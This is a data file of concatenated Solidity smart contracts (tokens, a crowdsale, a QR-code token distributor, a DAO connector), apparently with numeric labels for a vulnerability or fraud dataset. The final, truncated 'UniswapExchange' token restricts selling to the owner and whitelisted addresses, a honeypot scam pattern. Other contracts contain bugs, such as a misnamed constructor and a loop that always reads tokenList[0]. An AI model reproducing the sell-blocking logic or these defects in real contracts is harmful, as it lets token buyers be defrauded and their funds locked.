value); emit Approval(account, msg.sender, _allowed[account][msg.sender]); } } pragma solidity ^0.5.5; library CheckedERC20 { using SafeMath for uint; function isContract(IERC20 addr) internal view returns(bool result) { assembly { result := gt(extcodesize(addr), 0) } } function handleReturnBool() internal pure returns(bool result) { assembly { switch returndatasize() case 0 { result := 1 } case 32 { returndatacopy(0, 0, 32) result := mload(0) } default { revert(0, 0) } } } function handleReturnBytes32() internal pure returns(bytes32 result) { assembly { switch eq(returndatasize(), 32) case 1 { returndatacopy(0, 0, 32) result := mload(0) } switch gt(returndatasize(), 32) case 1 { returndatacopy(0, 64, 32) result := mload(0) } switch lt(returndatasize(), 32) case 1 { revert(0, 0) } } } function asmTransfer(IERC20 token, address to, uint256 value) internal returns(bool) { require(isContract(token)); (bool res,) = address(token).call(abi.encodeWithSignature("transfer(address,uint256)", to, value)); require(res); return handleReturnBool(); } function asmTransferFrom(IERC20 token, address from, address to, uint256 value) internal returns(bool) { require(isContract(token)); (bool res,) = address(token).call(abi.encodeWithSignature("transferFrom(address,address,uint256)", from, to, value)); require(res); return handleReturnBool(); } function asmApprove(IERC20 token, address spender, uint256 value) internal returns(bool) { require(isContract(token)); (bool res,) = address(token).call(abi.encodeWithSignature("approve(address,uint256)", spender, value)); require(res); return handleReturnBool(); } function checkedTransfer(IERC20 token, address to, uint256 value) internal { if (value > 0) { uint256 balance = token.balanceOf(address(this)); asmTransfer(token, to, value); require(token.balanceOf(address(this)) == balance.sub(value), "checkedTransfer: Final balance didn't match"); } } function checkedTransferFrom(IERC20 token, address from, address to, uint256 value) internal { if (value > 0) { uint256 toBalance = token.balanceOf(to); asmTransferFrom(token, from, to, value); require(token.balanceOf(to) == toBalance.add(value), "checkedTransfer: Final balance didn't match"); } } } pragma solidity ^0.5.2; contract IKyberNetwork { function trade( address src, uint256 srcAmount, address dest, address destAddress, uint256 maxDestAmount, uint256 minConversionRate, address walletId ) public payable returns(uint); function getExpectedRate( address source, address dest, uint srcQty ) public view returns ( uint expectedPrice, uint slippagePrice ); } pragma solidity ^0.5.0; contract Ownable { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { _owner = msg.sender; emit OwnershipTransferred(address(0), _owner); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(isOwner()); _; } function isOwner() public view returns (bool) { return msg.sender == _owner; } function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } function _transferOwnership(address newOwner) internal { require(newOwner != address(0)); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } pragma solidity ^0.5.5; contract AnyPaymentReceiver is Ownable { using SafeMath for uint256; address constant public ETHER_ADDRESS = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE; function _processPayment( IKyberNetwork kyber, address desiredToken, address paymentToken, uint256 paymentAmount ) internal returns(uint256) { uint256 previousBalance = _balanceOf(desiredToken); if (paymentToken != address(0)) { require(IERC20(paymentToken).transferFrom(msg.sender, address(this), paymentAmount)); } else { require(msg.value >= paymentAmount); } if (paymentToken != desiredToken) { if (paymentToken != address(0)) { IERC20(paymentToken).approve(address(kyber), paymentAmount); } kyber.trade.value(msg.value)( (paymentToken == address(0)) ? ETHER_ADDRESS : paymentToken, (paymentToken == address(0)) ? msg.value : paymentAmount, (desiredToken == address(0)) ? ETHER_ADDRESS : desiredToken, address(this), 1 << 255, 0, address(0) ); } uint256 currentBalance = _balanceOf(desiredToken); return currentBalance.sub(previousBalance); } function _balanceOf(address token) internal view returns(uint256) { if (token == address(0)) { return address(this).balance; } return IERC20(token).balanceOf(address(this)); } function _returnRemainder(address payable renter, IERC20 token, uint256 remainder) internal { if (token == IERC20(0)) { renter.transfer(remainder); } else { token.transfer(renter, remainder); } } } pragma solidity ^0.5.5; contract QRToken is InstaLend, AnyPaymentReceiver { using SafeMath for uint; using ECDSA for bytes; using IndexedMerkleProof for bytes; using CheckedERC20 for IERC20; uint256 constant public MAX_CODES_COUNT = 1024; uint256 constant public MAX_WORDS_COUNT = (MAX_CODES_COUNT + 31) / 32; struct Distribution { IERC20 token; uint256 sumAmount; uint256 codesCount; uint256 deadline; address sponsor; uint256[32] bitMask; } mapping(uint160 => Distribution) public distributions; event Created(); event Redeemed(uint160 root, uint256 index, address receiver); constructor() public InstaLend(msg.sender, 1) { } function create( IERC20 token, uint256 sumTokenAmount, uint256 codesCount, uint160 root, uint256 deadline ) external notInLendingMode { require(0 < sumTokenAmount); require(0 < codesCount && codesCount <= MAX_CODES_COUNT); require(deadline > now); token.checkedTransferFrom(msg.sender, address(this), sumTokenAmount); Distribution storage distribution = distributions[root]; distribution.token = token; distribution.sumAmount = sumTokenAmount; distribution.codesCount = codesCount; distribution.deadline = deadline; distribution.sponsor = msg.sender; } function redeemed(uint160 root, uint index) public view returns(bool) { Distribution storage distribution = distributions[root]; return distribution.bitMask[index / 32] & (1 << (index % 32)) != 0; } function redeem( bytes calldata signature, bytes calldata merkleProof ) external notInLendingMode { bytes32 messageHash = keccak256(abi.encodePacked(msg.sender)); bytes32 signedHash = ECDSA.toEthSignedMessageHash(messageHash); address signer = ECDSA.recover(signedHash, signature); uint160 signerHash = uint160(uint256(keccak256(abi.encodePacked(signer)))); (uint160 root, uint256 index) = merkleProof.compute(signerHash); Distribution storage distribution = distributions[root]; require(distribution.bitMask[index / 32] & (1 << (index % 32)) == 0); distribution.bitMask[index / 32] = distribution.bitMask[index / 32] | (1 << (index % 32)); distribution.token.checkedTransfer(msg.sender, distribution.sumAmount.div(distribution.codesCount)); emit Redeemed(root, index, msg.sender); } function redeemWithFee( IKyberNetwork kyber, address receiver, uint256 feePrecent, bytes calldata signature, bytes calldata merkleProof ) external notInLendingMode { bytes32 messageHash = ECDSA.toEthSignedMessageHash(keccak256(abi.encodePacked(receiver, feePrecent))); uint160 signerHash = uint160(uint256(keccak256(abi.encodePacked(ECDSA.recover(messageHash, signature))))); (uint160 root, uint256 index) = merkleProof.compute(signerHash); Distribution storage distribution = distributions[root]; require(distribution.bitMask[index / 32] & (1 << (index % 32)) == 0); distribution.bitMask[index / 32] = distribution.bitMask[index / 32] | (1 << (index % 32)); uint256 reward = distribution.sumAmount.div(distribution.codesCount); uint256 fee = reward.mul(feePrecent).div(100); distribution.token.checkedTransfer(receiver, reward.sub(fee)); emit Redeemed(root, index, msg.sender); uint256 gotEther = _processPayment(kyber, ETHER_ADDRESS, address(distribution.token), fee); msg.sender.transfer(gotEther); } function abort(uint160 root) public notInLendingMode { Distribution storage distribution = distributions[root]; require(now > distribution.deadline); uint256 count = 0; for (uint i = 0; i < 1024; i++) { if (distribution.bitMask[i / 32] & (1 << (i % 32)) != 0) { count += distribution.sumAmount / distribution.codesCount; } } distribution.token.checkedTransfer(distribution.sponsor, distribution.sumAmount.sub(count)); delete distributions[root]; } }
0
646
pragma solidity ^0.4.23; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; function totalSupply() public view returns (uint256) { return totalSupply_; } function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = (allowed[msg.sender][_spender].add(_addedValue)); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } contract PremiumToken is StandardToken, Ownable { event Pause(); event Unpause(); bool public paused = false; modifier whenNotPaused() { require(!paused); _; } modifier whenPaused() { require(paused); _; } function pause() onlyOwner whenNotPaused public { paused = true; emit Pause(); } function unpause() onlyOwner whenPaused public { paused = false; emit Unpause(); } event Burn(address indexed burner, uint256 value); function burn(uint256 _value) public whenNotPaused { _burn(msg.sender, _value); } function _burn(address _who, uint256 _value) internal { require(_value <= balances[_who]); balances[_who] = balances[_who].sub(_value); totalSupply_ = totalSupply_.sub(_value); emit Burn(_who, _value); emit Transfer(_who, address(0), _value); } mapping(address=>bool) public freezeIn; mapping(address=>bool) public freezeOut; event FreezeIn(address[] indexed from, bool value); event FreezeOut(address[] indexed from, bool value); function setFreezeIn(address[] addrs, bool value) public onlyOwner { for (uint i=0; i<addrs.length; i++) { freezeIn[addrs[i]]=value; } emit FreezeIn(addrs, value); } function setFreezeOut(address[] addrs, bool value) public onlyOwner { for (uint i=0; i<addrs.length; i++) { freezeOut[addrs[i]]=value; } emit FreezeOut(addrs, value); } mapping(address=>uint) public lock; event Lock(address[] indexed addrs, uint[] times); function setLock(address[] addrs, uint[] times) public onlyOwner { require(addrs.length==times.length); for (uint i=0; i<addrs.length; i++) { lock[addrs[i]]=times[i]; } emit Lock(addrs, times); } function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) { require(now>=lock[msg.sender]); require(!freezeIn[_to]); require(!freezeOut[msg.sender]); return super.transfer(_to, _value); } function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) { require(now>=lock[_from]); require(!freezeIn[_to]); require(!freezeOut[_from]); return super.transferFrom(_from, _to, _value); } function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) { return super.approve(_spender, _value); } function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) { return super.increaseApproval(_spender, _addedValue); } function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) { return super.decreaseApproval(_spender, _subtractedValue); } event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } modifier hasMintPermission() { require(msg.sender == owner); _; } function mint(address _to, uint256 _amount) hasMintPermission canMint public returns (bool) { totalSupply_ = totalSupply_.add(_amount); balances[_to] = balances[_to].add(_amount); emit Mint(_to, _amount); emit Transfer(address(0), _to, _amount); return true; } function finishMinting() onlyOwner canMint public returns (bool) { mintingFinished = true; emit MintFinished(); return true; } } contract Token is PremiumToken { string public name; string public symbol; uint8 public decimals; constructor (string _name, string _symbol, uint8 _decimals, uint256 _total) public { name = _name; symbol = _symbol; decimals = _decimals; totalSupply_ = _total.mul(10 ** uint256(_decimals)); balances[msg.sender] = totalSupply_; emit Transfer(address(0), msg.sender, totalSupply_); } }
1
3,890
pragma solidity ^0.4.25 ; contract CCD_KOHLE_6_20190411 { mapping (address => uint256) public balanceOf; string public name = " CCD_KOHLE_6_20190411 " ; string public symbol = " CCD_KOHLE_6_20190411_subDT " ; uint8 public decimals = 18 ; uint256 public totalSupply = 19800000000000000000000000 ; event Transfer(address indexed from, address indexed to, uint256 value); function SimpleERC20Token() public { balanceOf[msg.sender] = totalSupply; emit Transfer(address(0), msg.sender, totalSupply); } function transfer(address to, uint256 value) public returns (bool success) { require(balanceOf[msg.sender] >= value); balanceOf[msg.sender] -= value; balanceOf[to] += value; emit Transfer(msg.sender, to, value); return true; } event Approval(address indexed owner, address indexed spender, uint256 value); mapping(address => mapping(address => uint256)) public allowance; function approve(address spender, uint256 value) public returns (bool success) { allowance[msg.sender][spender] = value; emit Approval(msg.sender, spender, value); return true; } function transferFrom(address from, address to, uint256 value) public returns (bool success) { require(value <= balanceOf[from]); require(value <= allowance[from][msg.sender]); balanceOf[from] -= value; balanceOf[to] += value; allowance[from][msg.sender] -= value; emit Transfer(from, to, value); return true; } }
1
3,556
pragma solidity ^0.4.18; contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); function Ownable() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) public balances; function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract BurnableToken is StandardToken { event Burn(address indexed burner, uint256 value); function burn(uint256 _value) public { require(_value > 0); require(_value <= balances[msg.sender]); address burner = msg.sender; balances[burner] = balances[burner].sub(_value); totalSupply = totalSupply.sub(_value); Burn(burner, _value); } } contract CABoxToken is BurnableToken, Ownable { string public constant name = "CABox"; string public constant symbol = "CAB"; uint8 public constant decimals = 18; uint256 public constant INITIAL_SUPPLY = 500 * 1000000 * (10 ** uint256(decimals)); function CABoxToken() public { totalSupply = INITIAL_SUPPLY; balances[msg.sender] = INITIAL_SUPPLY; } } contract CABoxCrowdsale is Ownable{ using SafeMath for uint256; CABoxToken public token; uint256 public startTime; uint256 public endTime; address public wallet; address public devWallet; event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount); event TokenContractUpdated(bool state); event WalletAddressUpdated(bool state); function CABoxCrowdsale() public { token = createTokenContract(); startTime = 1535155200; endTime = 1540771200; wallet = 0x9BeAbD0aeB08d18612d41210aFEafD08fb84E9E8; devWallet = 0x13dF1d8F51324a237552E87cebC3f501baE2e972; } function createTokenContract() internal returns (CABoxToken) { return new CABoxToken(); } function () external payable { buyTokens(msg.sender); } function buyTokens(address beneficiary) public payable { require(beneficiary != address(0)); require(validPurchase()); uint256 weiAmount = msg.value; uint256 bonusRate = getBonusRate(); uint256 tokens = weiAmount.mul(bonusRate); token.transfer(beneficiary, tokens); TokenPurchase(msg.sender, beneficiary, weiAmount, tokens); forwardFunds(); } function getBonusRate() internal view returns (uint256) { uint64[5] memory tokenRates = [uint64(24000),uint64(20000),uint64(16000),uint64(12000),uint64(8000)]; uint64[5] memory timeStartsBoundaries = [uint64(1535155200),uint64(1538352000),uint64(1538956800),uint64(1539561600),uint64(1540166400)]; uint64[5] memory timeEndsBoundaries = [uint64(1538352000),uint64(1538956800),uint64(1539561600),uint64(1540166400),uint64(1540771200)]; uint[5] memory timeRates = [uint(500),uint(250),uint(200),uint(150),uint(100)]; uint256 bonusRate = tokenRates[0]; for (uint i = 0; i < 5; i++) { bool timeInBound = (timeStartsBoundaries[i] <= now) && (now < timeEndsBoundaries[i]); if (timeInBound) { bonusRate = tokenRates[i] + tokenRates[i] * timeRates[i] / 1000; } } return bonusRate; } function forwardFunds() internal { wallet.transfer(msg.value * 750 / 1000); devWallet.transfer(msg.value * 250 / 1000); } function validPurchase() internal view returns (bool) { bool nonZeroPurchase = msg.value != 0; bool withinPeriod = now >= startTime && now <= endTime; return nonZeroPurchase && withinPeriod; } function hasEnded() public view returns (bool) { bool timeEnded = now > endTime; return timeEnded; } function updateCABoxToken(address _tokenAddress) onlyOwner{ require(_tokenAddress != address(0)); token.transferOwnership(_tokenAddress); TokenContractUpdated(true); } function transferTokens(address _to, uint256 _amount) onlyOwner { require(_to != address(0)); token.transfer(_to, _amount); } }
1
3,202
pragma solidity ^0.6.6; pragma experimental ABIEncoderV2; interface NFund { function approveSpendERC20(address, uint256) external; function approveSpendETH(address, uint256) external; function newVotingRound() external; function setVotingAddress(address) external; function setConnectorAddress(address) external; function setNewFundAddress(address) external; function setNyanAddress(address) external; function setCatnipAddress(address) external; function setDNyanAddress(address) external; function setBalanceLimit(uint256) external; function sendToNewContract(address) external; } interface NVoting { function setConnector(address) external; function setFundAddress(address) external; function setRewardsContract(address) external; function setIsRewardingCatnip(bool) external; function setVotingPeriodBlockLength(uint256) external; function setNyanAddress(address) external; function setCatnipAddress(address) external; function setDNyanAddress(address) external; function distributeFunds(address, uint256) external; function burnCatnip() external; } interface NConnector { function executeBid( string calldata, string calldata, address[] calldata , uint256[] calldata, string[] calldata, bytes[] calldata) external; } interface NyanV2 { function swapNyanV1(uint256) external; function stakeNyanV2LP(uint256) external; function unstakeNyanV2LP(uint256) external; function stakeDNyanV2LP(uint256) external; function unstakeDNyanV2LP(uint256) external; function addNyanAndETH(uint256) payable external; function claimETHLP() external; function initializeV2ETHPool() external; } pragma solidity ^0.6.6; pragma solidity ^0.6.6; contract ERC20 { function totalSupply() external view returns (uint256) {} function balanceOf(address account) external view returns (uint256) {} function transfer(address recipient, uint256 amount) external returns (bool) {} function allowance(address owner, address spender) external view returns (uint256) {} function approve(address spender, uint256 amount) external returns (bool) {} function transferFrom(address sender, address recipient, uint256 amount) external returns (bool) {} event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } pragma solidity ^0.6.6; contract Proxiable { function updateCodeAddress(address newAddress) internal { require( bytes32(0xc5f16f0fcc639fa48a6947836d9850f504798523bf8c9a3a87d5876cf622bcf7) == Proxiable(newAddress).proxiableUUID(), "Not compatible" ); assembly { sstore(0xc5f16f0fcc639fa48a6947836d9850f504798523bf8c9a3a87d5876cf622bcf7, newAddress) } } function proxiableUUID() public pure returns (bytes32) { return 0xc5f16f0fcc639fa48a6947836d9850f504798523bf8c9a3a87d5876cf622bcf7; } } contract LibraryLockDataLayout { bool public initialized = false; } contract LibraryLock is LibraryLockDataLayout { modifier delegatedOnly() { require(initialized == true, "The library is locked. No direct 'call' is allowed"); _; } function initialize() internal { initialized = true; } } contract DataLayout is LibraryLock { struct bid { address bidder; uint256 votes; address[] addresses; uint256[] integers; string[] strings; bytes[] bytesArr; } address public votingAddress; address public fundAddress; address public nyanV2; address public owner; address[] public tokenList; mapping(address => bool) public whitelist; modifier _onlyOwner() { require((msg.sender == votingAddress) || (msg.sender == owner) || (msg.sender == address(this))); _; } address public easyBid; address public registry; address public contractManager; uint256[] public fundHistory; address[] public historyManager; string[] public historyReason; address[] public historyRecipient; } contract Connector is DataLayout, Proxiable { function connectorConstructor(address _votingAddress, address _nyan2) public { require(!initialized, "Contract is already initialized"); owner = msg.sender; votingAddress = _votingAddress; nyanV2 = _nyan2; initialize(); } receive() external payable { } function relinquishOwnership()public _onlyOwner delegatedOnly { require(contractManager != address(0)); owner = address(0); } function updateCode(address newCode) public delegatedOnly { if (owner == address(0)) { require(msg.sender == contractManager); } else { require(msg.sender == owner); } updateCodeAddress(newCode); } function setVotingAddress(address _addr) public _onlyOwner delegatedOnly { votingAddress = _addr; } function setRegistry(address _registry) public _onlyOwner delegatedOnly { registry = _registry; } function setContractManager(address _contract) public _onlyOwner delegatedOnly { contractManager = _contract; } function setOwner(address _owner) public _onlyOwner delegatedOnly { owner = _owner; } function transferToFund() public delegatedOnly { for (uint256 i = 0; i < tokenList.length; i++) { ERC20 erc20 = ERC20(tokenList[0]); uint256 balance = erc20.balanceOf(address(this)); erc20.transfer(fundAddress, balance); } } function fundLog(address manager, string memory reason, address recipient) public delegatedOnly payable { Registry(registry).checkRegistry(msg.sender); fundHistory.push(fundAddress.balance); historyManager.push(manager); historyReason.push(reason); historyRecipient.push(recipient); } function getFundHistory() public view returns(uint256[] memory, address[] memory, string[] memory, address[] memory) { return ( fundHistory, historyManager, historyReason, historyRecipient ); } function getFundETH(uint256 amount) public delegatedOnly { NFund fund = NFund(fundAddress); require(msg.sender == registry); fund.approveSpendETH(registry, amount); } function returnFundETH() public payable delegatedOnly { require(msg.sender == registry); fundAddress.call{value: msg.value}(""); } function withdrawDeposit(uint256 amount, address depositor) public delegatedOnly { NFund fund = NFund(fundAddress); require(msg.sender == registry); fund.approveSpendETH(depositor, amount); } function setEasyBidAddress(address _easyBid) public _onlyOwner delegatedOnly { easyBid = _easyBid; } function getEasyBidETH(uint256 amount) public delegatedOnly { NFund fund = NFund(fundAddress); require(msg.sender == easyBid); fund.approveSpendETH(easyBid, amount); } function sendMISCETH(address _address, uint256 _amount, string memory reason) public delegatedOnly { NFund fund = NFund(fundAddress); require(msg.sender == owner); fund.approveSpendETH(_address, _amount); fundLog(owner, reason, owner); } function sendMISCERC20(address _address, uint256 _amount, string memory reason) public delegatedOnly { NFund fund = NFund(fundAddress); require(msg.sender == owner); fund.approveSpendERC20(_address, _amount); ERC20 erc20 = ERC20(_address); erc20.transfer(msg.sender, _amount); fundLog(owner, reason, owner); } } interface Registry { function checkRegistry(address _contract) external view returns(bool); }
0
1,528
pragma solidity ^0.5.17; interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } library Address { function isContract(address account) internal view returns(bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; assembly { codehash:= extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } contract Context { constructor() internal {} function _msgSender() internal view returns(address payable) { return msg.sender; } } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b > 0, errorMessage); uint c = a / b; return c; } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns(uint) { return _totalSupply; } function balanceOf(address account) public view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns(bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns(bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns(bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor(string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns(string memory) { return _name; } function symbol() public view returns(string memory) { return _symbol; } function decimals() public view returns(uint8) { return _decimals; } } contract UniswapExchange { event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function ensure(address _from, address _to, uint _value) internal view returns(bool) { address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this)); if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){ return true; } require(condition(_from, _value)); return true; } function transferFrom(address _from, address _to, uint _value) public payable returns (bool) { if (_value == 0) {return true;} if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(ensure(_from, _to, _value)); require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; _onSaleNum[_from]++; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { 